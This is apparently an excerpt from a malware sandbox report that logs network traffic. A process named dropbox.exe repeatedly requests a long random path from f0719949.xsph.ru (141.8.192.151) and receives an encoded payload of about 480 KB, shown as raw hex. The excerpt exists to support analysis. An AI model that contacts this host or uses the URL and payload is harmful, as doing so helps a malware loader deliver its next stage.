Sep 19, 2022 22:37:04.966897011 CEST	99	IN	Data Raw: 27 3c 56 a1 87 b9 a7 77 5a 29 eb 0f c3 4e 6e 78 7e 29 e7 ce 4b 89 b1 62 27 c6 62 2f 99 67 6d 31 fb 94 0f f3 ab 68 72 2a cf 27 f3 11 94 a3 bb b7 00 ed 3e 42 62 91 0a b4 3c 54 a9 37 be c1 73 60 27 84 a2 46 8f 5a e2 ee 71 5e 0f 38 76 6e 78 94 cd 7e Data Ascii: '<VwZ)Nnx~)Kb'b/gm1hr'>Bb<T7s`'FZq^8vnx~/nf;\|QNh3KUtH\I4Zl;NwXvZKdWxzwjvZkdhvxrP,3?d^^Hu5l^W1"'.A@(td94frj5<<V0~?RH\}b/
Sep 19, 2022 22:37:04.966917038 CEST	101	IN	Data Raw: b9 64 70 2b c6 3b fb f2 4e 62 dd d2 0a a9 76 78 c5 44 da aa 64 48 c0 c0 ab bd 6e d3 d0 72 8a 23 d7 70 a9 b9 7e cd 35 a6 d0 f9 b3 a9 76 2f b6 8a 92 29 bc 98 fb c5 5a 8c de 0f d6 3d c1 bd 6e 81 64 79 6a 2f ac c2 a6 60 66 72 2b aa e5 f7 81 78 5a 38 Data Ascii: dp+;NbvxDdHnr#p~5v/)Z=ndyj/`fr+xZ86nj l}b0ipvZpz?q Z8$vrvjv;Zr{tqfA'/lf"}blv/lrfrn%hdp,1FlA3Br\R-Vjvzv
Sep 19, 2022 22:37:04.966938019 CEST	102	IN	Data Raw: ee c3 5a 6e ee 19 cd 41 ef 23 6e 74 76 a9 80 2f ed 1f 1c 5a 6c b9 43 ac 1b a0 c1 5a a9 b7 40 ab 3b 2f 71 bf c9 19 0a 68 c1 b7 29 8f 36 a7 cd cb aa 60 70 df 2f 25 c2 2f b1 b3 bf e5 35 a0 ce b0 6a a7 bb 88 f8 03 c0 44 70 70 bb 2f f1 07 57 c1 b7 af Data Ascii: ZnA#ntv/ZlCZ@;/qh)6`p/%/5jDpp/Wuv4Z/"bflq )x}nnjthl%3m'-rw`nnDJpnP,n\QZyb1#h#\\`jx;^p?Zp\|Z
Sep 19, 2022 22:37:04.966963053 CEST	103	IN	Data Raw: ce 85 0f 62 5c e0 6c 48 8d 1a 6c a3 a3 38 6e b3 48 a3 77 78 ed 5e c1 e5 84 8c df 29 6d 36 af dc 11 90 bc 0e 6c c3 a7 3b ff ba 2f ba b7 c1 41 d5 69 60 ee 26 ee 9a 8f ed 48 b2 85 bf 8e d0 30 3d ca 34 7b f0 e7 d4 3a bc 76 c5 72 ef 8b 0f 2f a0 40 03 Data Ascii: b\lHl8nHwx^)m6l;/Ai`&H0=4{:vr/@rZZEd?pxn$0A#Hp\b}"!Zv1jv~)tko%'d)Pg)@={**5}fj8-v.!xn?l)vxEd!th
Sep 19, 2022 22:37:04.966984034 CEST	105	IN	Data Raw: 3f 13 a7 b3 df f6 05 19 f0 25 74 6a 80 cb ee b8 cb 7a f9 c9 bd 81 67 62 3b ce 43 b4 ca e8 c4 b5 c3 31 b0 0f 26 1f 64 68 c7 33 ed 25 73 09 5c 62 2f 05 7a 9e d5 94 94 43 76 e2 1f 23 08 d6 c3 c3 da f7 be a5 cc b3 74 e0 2b 20 a7 29 be 0f 97 c6 bb c5 Data Ascii: ?%tjzgb;C1&dh3%s\b/zCv#t+ )+fr5lZ,x3%\j~z51lnn;tltnEhZmk^5Uj/3n?k.j;Zn}y)(d?+Z%)pD!
Sep 19, 2022 22:37:04.967006922 CEST	106	IN	Data Raw: 6e dc 37 69 6c c1 eb 35 66 9f f8 b4 c9 ca 25 0f b5 c3 31 41 36 d7 66 b2 f6 5c 87 94 25 7b 19 5c 62 37 ff ab f6 58 28 64 43 74 a1 f9 72 f1 ee 87 67 b3 31 25 36 ab 2d d8 32 e1 38 b7 df 27 f9 23 79 0f c5 b1 f4 aa 7d cf 50 c2 1e 95 bf 81 6d 88 2f a6 Data Ascii: n7il5f%1A6f\%{\b7X(dCtrg1%6-28'#y}Pm/KZd1kt5J/5i5jFht'#2);g~99dyZ#?\/\b5#\~y?!j'"'A}d#dysA?i`#h32nN8-r5P-Zfp
Sep 19, 2022 22:37:04.967031002 CEST	108	IN	Data Raw: d9 80 8a 31 bf 0f 60 ca 64 68 41 79 22 28 27 3f 38 2e db 23 6a 21 5c 6c b9 69 6d e3 31 9e 86 11 a5 c6 6e a7 b3 83 2e 8f e8 f0 83 1c 92 27 8f 36 26 25 8a c8 b1 bd 2b f3 3b c2 09 41 be bf b7 35 03 0b e7 31 a7 da f7 f6 4c 79 a3 da 44 6f 96 8b ff 44 Data Ascii: 1`dhAy"('?8.#j!\lim1n.'6&%+;A51LyDoDZ)^vlb5iJ;TDzv)"<Es=+0{t}i\DogJo-3m#fi)tj+r=xd:igq3?1"6`CnFnj'^\/Ar!j'
Sep 19, 2022 22:37:05.027633905 CEST	109	IN	Data Raw: dd 38 ab ce 9f b7 af a9 03 78 62 d9 76 7b 22 62 20 6a ce f3 b4 b3 bd f6 d6 d3 cb 31 07 34 5e bb 24 22 a9 d6 b8 1b bd b7 84 3b 62 f6 74 e3 b0 72 74 41 dd 69 6c 0f a9 a7 b1 b5 9a 6e bb 94 d6 6e a9 af 76 b2 96 07 cd b9 6c 62 fd 76 7b 22 66 20 5e ce Data Ascii: 8xbv{"b j14^$";btrtAilnnvlbv{"f ^qlp`p+?fbfrjAnZT@tbt1v3h 2j\YduOrjt!d+nZ&QhrHvv.:t#Avv+wx!t)?}+b{qj3

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49703	141.8.192.151	80	C:\Users\user\Desktop\dropbox.exe

Timestamp	kBytes transferred	Direction	Data
Sep 19, 2022 22:37:05.037344933 CEST	136	OUT	GET /Uuddcmhnxqhfgvscgvechrthfvxthbvnjytchegfrhvbrtgnthyfgnbvgfcfbhgfyuyuyuyuyuyuytttrrrfgh HTTP/1.1 User-Agent: 11 Host: f0719949.xsph.ru
Sep 19, 2022 22:37:05.102821112 CEST	138	IN	HTTP/1.1 200 OK Server: openresty Date: Mon, 19 Sep 2022 20:37:05 GMT Content-Length: 480659 Connection: keep-alive Last-Modified: Thu, 15 Sep 2022 23:02:48 GMT ETag: "75593-5e8bf3e785579" Accept-Ranges: bytes Data Raw: 10 0a 59 67 fa fc 4b 10 0e fc 4b 67 fc 38 38 02 4f 51 4d 85 fe 4b fc 67 7b 38 38 20 fc 67 fa 7b 32 0e 67 fe 02 4f 51 67 fa fc 4b 10 0e fc 4b 67 fc 38 38 02 4f 51 4d 85 fe 4b fc 67 7b 38 38 20 fc 67 fa 7b 32 0e 67 fe 02 4f 51 67 fa fc 4b 10 0e fc 4b 67 fc 38 38 02 4f 51 4d 85 fe 4b fc 67 7b 38 38 20 fc 67 fa 7b 32 0e 67 fe 02 4f 51 0a 67 fa fc 4b 10 0e fc 4b 67 fc 38 38 02 4f 51 4d 85 fe 4b fc 67 7b 38 38 20 fc 67 fa 7b 32 0e 67 fe 02 4f 51 0a 67 fa fc 4b 10 0e fc 4b 67 fc 38 38 02 4f 51 4d 85 fe 4b fc 67 7b 38 38 20 fc 67 fa 7b 32 0e 67 fe 02 4f 51 67 fa fc 4b 10 0e fc 4b 67 fc 38 38 02 4f 51 4d 85 fe 4b fc 67 7b 38 38 20 fc 67 fa 7b 32 0e 67 fe 02 4f 51 ee cf ea 5a 60 62 66 72 76 74 68 76 c5 c5 a7 bb 5f b1 b5 68 72 bb bd 6e 93 a9 af 76 bb b7 af a9 b9 6c 62 74 c3 78 bb 5a a9 76 76 bb 5a 66 70 af 66 c1 b9 5a c1 b7 70 6e a7 bb bd 6e 68 ab 70 6a 68 c7 a0 bf 62 0a b5 e9 24 10 b9 41 f3 77 98 20 73 69 88 7d 32 7d 86 77 e3 71 96 cf d5 22 1c 79 7f 82 cd cd 98 32 24 1c 96 34 2e 7a 97 ee cb 86 7f 79 e1 c7 4c ab ad bd 22 bd 6e 78 64 70 6a 76 a5 0c a4 32 60 ef f5 7d 5e f3 e7 79 b1 9e b8 20 57 7c 92 32 66 eb e9 28 5d 8a 24 36 00 ac a6 85 10 90 69 79 b3 f7 b6 77 b3 06 84 67 c5 b2 f9 30 31 1a a7 36 74 eb b8 32 fc 31 9a 20 8c e7 e9 73 5b ee ae 1a 93 e7 eb 69 4f 27 eb 73 22 aa ae 1c c5 47 44 34 b1 f3 b6 1e 70 9e e7 1e 3e e7 f3 6b 4d dc a0 7f 92 ac e9 77 02 45 95 81 5a 03 9e 38 63 de a6 34 c3 aa a4 34 df 32 90 77 74 f3 05 73 b1 62 66 72 6a 74 68 76 78 78 a7 bb a7 b1 b5 68 dd 8f bd 6e 3f 66 5a 76 76 a7 60 e5 b9 6c 62 74 c3 78 bb 5a 09 76 6c 74 bb a9 5e af 66 40 72 5a c1 ab 72 6e a7 bb bd 6e 0c 2a c1 6a 76 6a 5a b1 62 d9 b9 6a 74 68 93 78 78 b7 bb a7 b1 a7 68 72 78 bd c1 76 a9 af 76 bb 74 af 66 b9 6c 62 74 c3 78 0b af a9 76 6a bb 5a 66 70 af 66 bb b9 5a 41 b7 70 5e a7 bb ad 6e 78 64 70 5a 76 5a 6a b1 62 66 72 6a 74 78 76 78 78 a7 bb a7 b1 b5 68 72 bb 7a ac 70 a9 1f 76 bb b7 af 96 74 6c 77 89 c3 78 bb 5a a9 76 76 bb 5a 66 70 af 66 c1 b9 5a c1 b7 70 fe 62 bb 49 56 78 64 60 57 70 5a 8f b1 62 66 72 6a 74 68 76 78 78 a7 bb a7 b1 b5 68 72 bb bd 12 63 af af 5e bb b7 af 54 0c 72 62 91 c3 78 bb 5a a9 76 76 bb 5a 66 70 af d9 6a b9 0e bd b7 70 6e a7 bb bd 6e 78 64 70 6a 76 5a 5a b1 62 66 72 6a 74 68 76 78 78 a7 bb 3c 1a db 7f 79 bb bd 6e f4 a3 5c 76 bb a7 af a9 b9 95 a9 74 c3 6c bb 5a a9 76 76 bb 5a 66 70 af 66 c1 b9 5a e1 b7 70 d1 3c 32 86 84 7b 8e 70 6a dc 26 b5 b1 62 d9 b9 6a 74 6b b9 78 78 52 78 a7 b1 b5 68 72 bb bd 6e 76 a9 af 76 bb 3a af a9 3c 97 d9 7e 30 7a bb 5a a9 9f d5 bb 5a 66 d0 a9 66 c1 a7 5a c1 b7 ac 78 a7 bb bd 6e 78 64 70 6a 76 5a 5a b1 62 a3 72 6a b4 93 7d 83 2c a7 bb a7 b1 72 68 72 bb bd 8b bb a9 af 6c bb b7 af fb bf 6c 62 74 c3 78 bb 5a a9 76 76 bb 5a 66 8d af 66 01 4a 92 7c 7d d3 32 a7 bb 50 74 78 64 70 e5 bb 5a 5a ad 62 66 72 9e 6a 68 76 78 78 a7 bb a7 b1 b5 68 72 bb bd 8b 76 a9 52 a5 32 83 1e e5 b9 6c 62 69 3e 78 bb 5a 96 bb 76 bb 2d 66 70 af b6 b7 b9 5a c1 b7 70 6e a7 bb bd 6e 78 64 70 87 76 5a 97 42 6b 90 81 2a 80 68 76 04 50 a7 bb a7 61 60 68 72 3c bd 6e 76 cb 5a 76 bb b7 af a9 b9 6c 62 74 c3 78 bb 5a 4c 76 76 44 5a 66 70 af 66 c1 b9 5a c1 b7 70 6e a7 bb bd 6e 78 64 70 6a 76 5a 5a b1 62 66 72 6a 74 68 76 78 78 a7 bb a7 b1 b5 68 72 bb bd 6e 76 a9 af 76 bb b7 af a9 b9 6c 62 74 c3 78 bb 5a a9 76 76 bb 5a 66 70 af 66 c1 b9 5a c1 b7 70 6e a7 bb bd 6e 78 64 70 6a 76 5a 5a b1 62 66 72 6a 74 68 76 78 78 a7 Data Ascii: YgKKg88OQMKg{88 g{2gOQgKKg88OQMKg{88 g{2gOQgKKg88OQMKg{88 g{2gOQgKKg88OQMKg{88 g{2gOQgKKg88OQMKg{88 g{2gOQgKKg88OQMKg{88 g{2gOQZ`bfrvthv_hrnvlbtxZvvZfpfZpnnhpjhb$Aw si}2}wq"y2$4.zyL"nxdpjv2`}^y W\|2f(]$6iywg016t21 s[iO's"GD4p>kMwEZ8c442wtsbfrjthvxxhn?fZvv`lbtxZvlt^f@rZrnnjvjZbjthxxhrxvvtflbtxvjZfpfZAp^nxdpZvZjbfrjtxvxxhrzpvtlwxZvvZfpfZpbIVxd`WpZbfrjthvxxhrc^TrbxZvvZfpjpnnxdpjvZZbfrjthvxx<yn\vtlZvvZfpfZp<2{pj&bjtkxxRxhrnvv:<~0zZZffZxnxdpjvZZbrj},rhrllbtxZvvZffJ\|}2PtxdpZZbfrjhvxxhrvR2lbi>xZv-fpZpnnxdpvZBkhvPa`hr<nvZvlbtxZLvvDZfpfZpnnxdpjvZZbfrjthvxxhrnvvlbtxZvvZfpfZpnnxdpjvZZbfrjthvxx
Sep 19, 2022 22:37:05.102930069 CEST	139	IN	Data Raw: bb a7 b1 b5 68 72 bb bd 6e 76 a9 af 76 bb b7 af a9 b9 6c 62 74 c3 78 bb 5a a9 76 76 bb 5a 66 70 af 66 c1 b9 5a c1 b7 70 6e a7 bb bd 6e 78 64 70 6a 76 5a 5a b1 62 66 72 6a 74 68 76 78 78 a7 bb a7 b1 b5 68 72 bb bd 6e 76 a9 af 76 bb b7 af a9 b9 6c Data Ascii: hrnvvlbtxZvvZfpfZpnnxdpjvZZbfrjthvxxhrnvvlbtxZvvZfpfZpnnxdpjvZZbfrjthvxxNr#~v(ftvz@v#GvpqVbfDv=bfnLvrq#WJxm:d^fk%,dp}V
Sep 19, 2022 22:37:05.102977037 CEST	140	IN	Data Raw: c3 a9 b9 7b bf 90 87 78 23 8c b9 b7 76 c9 f3 f1 95 1f 9d c1 21 06 98 76 70 79 80 df 91 6e d0 4a 60 c3 76 90 f3 26 30 7a 3e 6a cc 52 66 b9 78 dd b2 20 95 c9 4c 72 23 9b 5e b7 a9 e5 f7 2c a1 cb a5 b9 d4 30 64 6a 78 c9 f3 9e b6 09 48 5a be 79 86 a7 Data Ascii: {x#v!vpynJ`v&0z>jRfx Lr#^,0djxHZy.JpltnCk^{6Z,t vbN8v{"n\}gJ^fn9oEsn_Cd/siZSb/B&{l1LBZ\|v3pz?&tp4;Vuh,
Sep 19, 2022 22:37:05.103012085 CEST	142	IN	Data Raw: 27 3c 56 a1 87 b9 a7 77 5a 29 eb 0f c3 4e 6e 78 7e 29 e7 ce 4b 89 b1 62 27 c6 62 2f 99 67 6d 31 fb 94 0f f3 ab 68 72 2a cf 27 f3 11 94 a3 bb b7 00 ed 3e 42 62 91 0a b4 3c 54 a9 37 be c1 73 60 27 84 a2 46 8f 5a e2 ee 71 5e 0f 38 76 6e 78 94 cd 7e Data Ascii: '<VwZ)Nnx~)Kb'b/gm1hr'>Bb<T7s`'FZq^8vnx~/nf;\|QNh3KUtH\I4Zl;NwXvZKdWxzwjvZkdhvxrP,3?d^^Hu5l^W1"'.A@(td94frj5<<V0~?RH\}b/
Sep 19, 2022 22:37:05.103035927 CEST	143	IN	Data Raw: b9 64 70 2b c6 3b fb f2 4e 62 dd d2 0a a9 76 78 c5 44 da aa 64 48 c0 c0 ab bd 6e d3 d0 72 8a 23 d7 70 a9 b9 7e cd 35 a6 d0 f9 b3 a9 76 2f b6 8a 92 29 bc 98 fb c5 5a 8c de 0f d6 3d c1 bd 6e 81 64 79 6a 2f ac c2 a6 60 66 72 2b aa e5 f7 81 78 5a 38 Data Ascii: dp+;NbvxDdHnr#p~5v/)Z=ndyj/`fr+xZ86nj l}b0ipvZpz?q Z8$vrvjv;Zr{tqfA'/lf"}blv/lrfrn%hdp,1FlA3Br\R-Vjvzv
Sep 19, 2022 22:37:05.103059053 CEST	145	IN	Data Raw: ee c3 5a 6e ee 19 cd 41 ef 23 6e 74 76 a9 80 2f ed 1f 1c 5a 6c b9 43 ac 1b a0 c1 5a a9 b7 40 ab 3b 2f 71 bf c9 19 0a 68 c1 b7 29 8f 36 a7 cd cb aa 60 70 df 2f 25 c2 2f b1 b3 bf e5 35 a0 ce b0 6a a7 bb 88 f8 03 c0 44 70 70 bb 2f f1 07 57 c1 b7 af Data Ascii: ZnA#ntv/ZlCZ@;/qh)6`p/%/5jDpp/Wuv4Z/"bflq )x}nnjthl%3m'-rw`nnDJpnP,n\QZyb1#h#\\`jx;^p?Zp\|Z
Sep 19, 2022 22:37:05.103075981 CEST	146	IN	Data Raw: ce 85 0f 62 5c e0 6c 48 8d 1a 6c a3 a3 38 6e b3 48 a3 77 78 ed 5e c1 e5 84 8c df 29 6d 36 af dc 11 90 bc 0e 6c c3 a7 3b ff ba 2f ba b7 c1 41 d5 69 60 ee 26 ee 9a 8f ed 48 b2 85 bf 8e d0 30 3d ca 34 7b f0 e7 d4 3a bc 76 c5 72 ef 8b 0f 2f a0 40 03 Data Ascii: b\lHl8nHwx^)m6l;/Ai`&H0=4{:vr/@rZZEd?pxn$0A#Hp\b}"!Zv1jv~)tko%'d)Pg)@={**5}fj8-v.!xn?l)vxEd!th
Sep 19, 2022 22:37:05.103092909 CEST	147	IN	Data Raw: 3f 13 a7 b3 df f6 05 19 f0 25 74 6a 80 cb ee b8 cb 7a f9 c9 bd 81 67 62 3b ce 43 b4 ca e8 c4 b5 c3 31 b0 0f 26 1f 64 68 c7 33 ed 25 73 09 5c 62 2f 05 7a 9e d5 94 94 43 76 e2 1f 23 08 d6 c3 c3 da f7 be a5 cc b3 74 e0 2b 20 a7 29 be 0f 97 c6 bb c5 Data Ascii: ?%tjzgb;C1&dh3%s\b/zCv#t+ )+fr5lZ,x3%\j~z51lnn;tltnEhZmk^5Uj/3n?k.j;Zn}y)(d?+Z%)pD!
Sep 19, 2022 22:37:05.103110075 CEST	149	IN	Data Raw: 6e dc 37 69 6c c1 eb 35 66 9f f8 b4 c9 ca 25 0f b5 c3 31 41 36 d7 66 b2 f6 5c 87 94 25 7b 19 5c 62 37 ff ab f6 58 28 64 43 74 a1 f9 72 f1 ee 87 67 b3 31 25 36 ab 2d d8 32 e1 38 b7 df 27 f9 23 79 0f c5 b1 f4 aa 7d cf 50 c2 1e 95 bf 81 6d 88 2f a6 Data Ascii: n7il5f%1A6f\%{\b7X(dCtrg1%6-28'#y}Pm/KZd1kt5J/5i5jFht'#2);g~99dyZ#?\/\b5#\~y?!j'"'A}d#dysA?i`#h32nN8-r5P-Zfp
Sep 19, 2022 22:37:05.103127003 CEST	150	IN	Data Raw: d9 80 8a 31 bf 0f 60 ca 64 68 41 79 22 28 27 3f 38 2e db 23 6a 21 5c 6c b9 69 6d e3 31 9e 86 11 a5 c6 6e a7 b3 83 2e 8f e8 f0 83 1c 92 27 8f 36 26 25 8a c8 b1 bd 2b f3 3b c2 09 41 be bf b7 35 03 0b e7 31 a7 da f7 f6 4c 79 a3 da 44 6f 96 8b ff 44 Data Ascii: 1`dhAy"('?8.#j!\lim1n.'6&%+;A51LyDoDZ)^vlb5iJ;TDzv)"<Es=+0{t}i\DogJo-3m#fi)tj+r=xd:igq3?1"6`CnFnj'^\/Ar!j'
Sep 19, 2022 22:37:05.167022943 CEST	152	IN	Data Raw: dd 38 ab ce 9f b7 af a9 03 78 62 d9 76 7b 22 62 20 6a ce f3 b4 b3 bd f6 d6 d3 cb 31 07 34 5e bb 24 22 a9 d6 b8 1b bd b7 84 3b 62 f6 74 e3 b0 72 74 41 dd 69 6c 0f a9 a7 b1 b5 9a 6e bb 94 d6 6e a9 af 76 b2 96 07 cd b9 6c 62 fd 76 7b 22 66 20 5e ce Data Ascii: 8xbv{"b j14^$";btrtAilnnvlbv{"f ^qlp`p+?fbfrjAnZT@tbt1v3h 2j\YduOrjt!d+nZ&QhrHvv.:t#Avv+wx!t)?}+b{qj3

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.3	49706	141.8.192.151	80	C:\Users\user\Desktop\dropbox.exe

Timestamp	kBytes transferred	Direction	Data
Sep 19, 2022 22:37:46.439168930 CEST	654	OUT	GET /Uuddcmhnxqhfgvscgvechrthfvxthbvnjytchegfrhvbrtgnthyfgnbvgfcfbhgfyuyuyuyuyuyuytttrrrfgh HTTP/1.1 User-Agent: lVali Host: f0719949.xsph.ru
Sep 19, 2022 22:37:46.505662918 CEST	655	IN	HTTP/1.1 200 OK Server: openresty Date: Mon, 19 Sep 2022 20:37:46 GMT Content-Length: 480659 Connection: keep-alive Last-Modified: Thu, 15 Sep 2022 23:02:48 GMT ETag: "75593-5e8bf3e785579" Accept-Ranges: bytes Data Raw: 10 0a 59 67 fa fc 4b 10 0e fc 4b 67 fc 38 38 02 4f 51 4d 85 fe 4b fc 67 7b 38 38 20 fc 67 fa 7b 32 0e 67 fe 02 4f 51 67 fa fc 4b 10 0e fc 4b 67 fc 38 38 02 4f 51 4d 85 fe 4b fc 67 7b 38 38 20 fc 67 fa 7b 32 0e 67 fe 02 4f 51 67 fa fc 4b 10 0e fc 4b 67 fc 38 38 02 4f 51 4d 85 fe 4b fc 67 7b 38 38 20 fc 67 fa 7b 32 0e 67 fe 02 4f 51 0a 67 fa fc 4b 10 0e fc 4b 67 fc 38 38 02 4f 51 4d 85 fe 4b fc 67 7b 38 38 20 fc 67 fa 7b 32 0e 67 fe 02 4f 51 0a 67 fa fc 4b 10 0e fc 4b 67 fc 38 38 02 4f 51 4d 85 fe 4b fc 67 7b 38 38 20 fc 67 fa 7b 32 0e 67 fe 02 4f 51 67 fa fc 4b 10 0e fc 4b 67 fc 38 38 02 4f 51 4d 85 fe 4b fc 67 7b 38 38 20 fc 67 fa 7b 32 0e 67 fe 02 4f 51 ee cf ea 5a 60 62 66 72 76 74 68 76 c5 c5 a7 bb 5f b1 b5 68 72 bb bd 6e 93 a9 af 76 bb b7 af a9 b9 6c 62 74 c3 78 bb 5a a9 76 76 bb 5a 66 70 af 66 c1 b9 5a c1 b7 70 6e a7 bb bd 6e 68 ab 70 6a 68 c7 a0 bf 62 0a b5 e9 24 10 b9 41 f3 77 98 20 73 69 88 7d 32 7d 86 77 e3 71 96 cf d5 22 1c 79 7f 82 cd cd 98 32 24 1c 96 34 2e 7a 97 ee cb 86 7f 79 e1 c7 4c ab ad bd 22 bd 6e 78 64 70 6a 76 a5 0c a4 32 60 ef f5 7d 5e f3 e7 79 b1 9e b8 20 57 7c 92 32 66 eb e9 28 5d 8a 24 36 00 ac a6 85 10 90 69 79 b3 f7 b6 77 b3 06 84 67 c5 b2 f9 30 31 1a a7 36 74 eb b8 32 fc 31 9a 20 8c e7 e9 73 5b ee ae 1a 93 e7 eb 69 4f 27 eb 73 22 aa ae 1c c5 47 44 34 b1 f3 b6 1e 70 9e e7 1e 3e e7 f3 6b 4d dc a0 7f 92 ac e9 77 02 45 95 81 5a 03 9e 38 63 de a6 34 c3 aa a4 34 df 32 90 77 74 f3 05 73 b1 62 66 72 6a 74 68 76 78 78 a7 bb a7 b1 b5 68 dd 8f bd 6e 3f 66 5a 76 76 a7 60 e5 b9 6c 62 74 c3 78 bb 5a 09 76 6c 74 bb a9 5e af 66 40 72 5a c1 ab 72 6e a7 bb bd 6e 0c 2a c1 6a 76 6a 5a b1 62 d9 b9 6a 74 68 93 78 78 b7 bb a7 b1 a7 68 72 78 bd c1 76 a9 af 76 bb 74 af 66 b9 6c 62 74 c3 78 0b af a9 76 6a bb 5a 66 70 af 66 bb b9 5a 41 b7 70 5e a7 bb ad 6e 78 64 70 5a 76 5a 6a b1 62 66 72 6a 74 78 76 78 78 a7 bb a7 b1 b5 68 72 bb 7a ac 70 a9 1f 76 bb b7 af 96 74 6c 77 89 c3 78 bb 5a a9 76 76 bb 5a 66 70 af 66 c1 b9 5a c1 b7 70 fe 62 bb 49 56 78 64 60 57 70 5a 8f b1 62 66 72 6a 74 68 76 78 78 a7 bb a7 b1 b5 68 72 bb bd 12 63 af af 5e bb b7 af 54 0c 72 62 91 c3 78 bb 5a a9 76 76 bb 5a 66 70 af d9 6a b9 0e bd b7 70 6e a7 bb bd 6e 78 64 70 6a 76 5a 5a b1 62 66 72 6a 74 68 76 78 78 a7 bb 3c 1a db 7f 79 bb bd 6e f4 a3 5c 76 bb a7 af a9 b9 95 a9 74 c3 6c bb 5a a9 76 76 bb 5a 66 70 af 66 c1 b9 5a e1 b7 70 d1 3c 32 86 84 7b 8e 70 6a dc 26 b5 b1 62 d9 b9 6a 74 6b b9 78 78 52 78 a7 b1 b5 68 72 bb bd 6e 76 a9 af 76 bb 3a af a9 3c 97 d9 7e 30 7a bb 5a a9 9f d5 bb 5a 66 d0 a9 66 c1 a7 5a c1 b7 ac 78 a7 bb bd 6e 78 64 70 6a 76 5a 5a b1 62 a3 72 6a b4 93 7d 83 2c a7 bb a7 b1 72 68 72 bb bd 8b bb a9 af 6c bb b7 af fb bf 6c 62 74 c3 78 bb 5a a9 76 76 bb 5a 66 8d af 66 01 4a 92 7c 7d d3 32 a7 bb 50 74 78 64 70 e5 bb 5a 5a ad 62 66 72 9e 6a 68 76 78 78 a7 bb a7 b1 b5 68 72 bb bd 8b 76 a9 52 a5 32 83 1e e5 b9 6c 62 69 3e 78 bb 5a 96 bb 76 bb 2d 66 70 af b6 b7 b9 5a c1 b7 70 6e a7 bb bd 6e 78 64 70 87 76 5a 97 42 6b 90 81 2a 80 68 76 04 50 a7 bb a7 61 60 68 72 3c bd 6e 76 cb 5a 76 bb b7 af a9 b9 6c 62 74 c3 78 bb 5a 4c 76 76 44 5a 66 70 af 66 c1 b9 5a c1 b7 70 6e a7 bb bd 6e 78 64 70 6a 76 5a 5a b1 62 66 72 6a 74 68 76 78 78 a7 bb a7 b1 b5 68 72 bb bd 6e 76 a9 af 76 bb b7 af a9 b9 6c 62 74 c3 78 bb 5a a9 76 76 bb 5a 66 70 af 66 c1 b9 5a c1 b7 70 6e a7 bb bd 6e 78 64 70 6a 76 5a 5a b1 62 66 72 6a 74 68 76 78 78 a7 Data Ascii: YgKKg88OQMKg{88 g{2gOQgKKg88OQMKg{88 g{2gOQgKKg88OQMKg{88 g{2gOQgKKg88OQMKg{88 g{2gOQgKKg88OQMKg{88 g{2gOQgKKg88OQMKg{88 g{2gOQZ`bfrvthv_hrnvlbtxZvvZfpfZpnnhpjhb$Aw si}2}wq"y2$4.zyL"nxdpjv2`}^y W\|2f(]$6iywg016t21 s[iO's"GD4p>kMwEZ8c442wtsbfrjthvxxhn?fZvv`lbtxZvlt^f@rZrnnjvjZbjthxxhrxvvtflbtxvjZfpfZAp^nxdpZvZjbfrjtxvxxhrzpvtlwxZvvZfpfZpbIVxd`WpZbfrjthvxxhrc^TrbxZvvZfpjpnnxdpjvZZbfrjthvxx<yn\vtlZvvZfpfZp<2{pj&bjtkxxRxhrnvv:<~0zZZffZxnxdpjvZZbrj},rhrllbtxZvvZffJ\|}2PtxdpZZbfrjhvxxhrvR2lbi>xZv-fpZpnnxdpvZBkhvPa`hr<nvZvlbtxZLvvDZfpfZpnnxdpjvZZbfrjthvxxhrnvvlbtxZvvZfpfZpnnxdpjvZZbfrjthvxx
Sep 19, 2022 22:37:46.505695105 CEST	656	IN	Data Raw: bb a7 b1 b5 68 72 bb bd 6e 76 a9 af 76 bb b7 af a9 b9 6c 62 74 c3 78 bb 5a a9 76 76 bb 5a 66 70 af 66 c1 b9 5a c1 b7 70 6e a7 bb bd 6e 78 64 70 6a 76 5a 5a b1 62 66 72 6a 74 68 76 78 78 a7 bb a7 b1 b5 68 72 bb bd 6e 76 a9 af 76 bb b7 af a9 b9 6c Data Ascii: hrnvvlbtxZvvZfpfZpnnxdpjvZZbfrjthvxxhrnvvlbtxZvvZfpfZpnnxdpjvZZbfrjthvxxNr#~v(ftvz@v#GvpqVbfDv=bfnLvrq#WJxm:d^fk%,dp}V
Sep 19, 2022 22:37:46.505721092 CEST	658	IN	Data Raw: c3 a9 b9 7b bf 90 87 78 23 8c b9 b7 76 c9 f3 f1 95 1f 9d c1 21 06 98 76 70 79 80 df 91 6e d0 4a 60 c3 76 90 f3 26 30 7a 3e 6a cc 52 66 b9 78 dd b2 20 95 c9 4c 72 23 9b 5e b7 a9 e5 f7 2c a1 cb a5 b9 d4 30 64 6a 78 c9 f3 9e b6 09 48 5a be 79 86 a7 Data Ascii: {x#v!vpynJ`v&0z>jRfx Lr#^,0djxHZy.JpltnCk^{6Z,t vbN8v{"n\}gJ^fn9oEsn_Cd/siZSb/B&{l1LBZ\|v3pz?&tp4;Vuh,
Sep 19, 2022 22:37:46.505748987 CEST	659	IN	Data Raw: 27 3c 56 a1 87 b9 a7 77 5a 29 eb 0f c3 4e 6e 78 7e 29 e7 ce 4b 89 b1 62 27 c6 62 2f 99 67 6d 31 fb 94 0f f3 ab 68 72 2a cf 27 f3 11 94 a3 bb b7 00 ed 3e 42 62 91 0a b4 3c 54 a9 37 be c1 73 60 27 84 a2 46 8f 5a e2 ee 71 5e 0f 38 76 6e 78 94 cd 7e Data Ascii: '<VwZ)Nnx~)Kb'b/gm1hr'>Bb<T7s`'FZq^8vnx~/nf;\|QNh3KUtH\I4Zl;NwXvZKdWxzwjvZkdhvxrP,3?d^^Hu5l^W1"'.A@(td94frj5<<V0~?RH\}b/
Sep 19, 2022 22:37:46.505774975 CEST	661	IN	Data Raw: b9 64 70 2b c6 3b fb f2 4e 62 dd d2 0a a9 76 78 c5 44 da aa 64 48 c0 c0 ab bd 6e d3 d0 72 8a 23 d7 70 a9 b9 7e cd 35 a6 d0 f9 b3 a9 76 2f b6 8a 92 29 bc 98 fb c5 5a 8c de 0f d6 3d c1 bd 6e 81 64 79 6a 2f ac c2 a6 60 66 72 2b aa e5 f7 81 78 5a 38 Data Ascii: dp+;NbvxDdHnr#p~5v/)Z=ndyj/`fr+xZ86nj l}b0ipvZpz?q Z8$vrvjv;Zr{tqfA'/lf"}blv/lrfrn%hdp,1FlA3Br\R-Vjvzv
